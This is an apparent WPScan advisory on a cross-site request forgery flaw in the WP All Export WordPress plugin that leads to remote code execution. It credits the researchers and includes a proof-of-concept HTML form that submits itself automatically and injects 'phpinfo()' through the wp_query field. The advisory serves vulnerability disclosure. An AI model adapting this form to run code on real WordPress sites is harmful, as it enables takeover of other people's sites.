WordPress Plugin Vulnerabilities
WP All Export (Free < 1.4.1, Pro < 1.8.6) - Remote Code Execution via CSRF
Description
The plugin does not check nonce tokens early enough in the request lifecycle, allowing attackers to make logged in users perform unwanted actions leading to remote code execution.
Proof of Concept
Submit the following form as a Super Admin (notice that it does not contain a nonce). Despite the error, visit `/wp-admin/admin.php?page=pmxe-admin-export&action=template` to see the output of `phpinfo()`. <html> <body> <form action="https://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin.php?page=pmxe-admin-export" method="POST"> <input type="hidden" name="export_type" value="advanced" /> <input type="hidden" name="wp_query_selector" value="wp_query" /> <input type="hidden" name="wp_query" value="phpinfo()" /> <input type="hidden" name="is_submitted" value="1" /> <input type="hidden" name="auto_generate" value="0" /> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=pmxe-admin-export" /> <input type="submit" value="Submit request" /> </form> <script>document.getElementsByTagName('form')[0].submit()</script> </body> </html>
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Francesco Marano (@mrnfrancesco), Donato Di Pasquale (@ddipa)
Submitter
Unlock Security
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-11-21 (about 5 months ago)
Added
2023-11-21 (about 5 months ago)
Last Updated
2023-11-21 (about 5 months ago)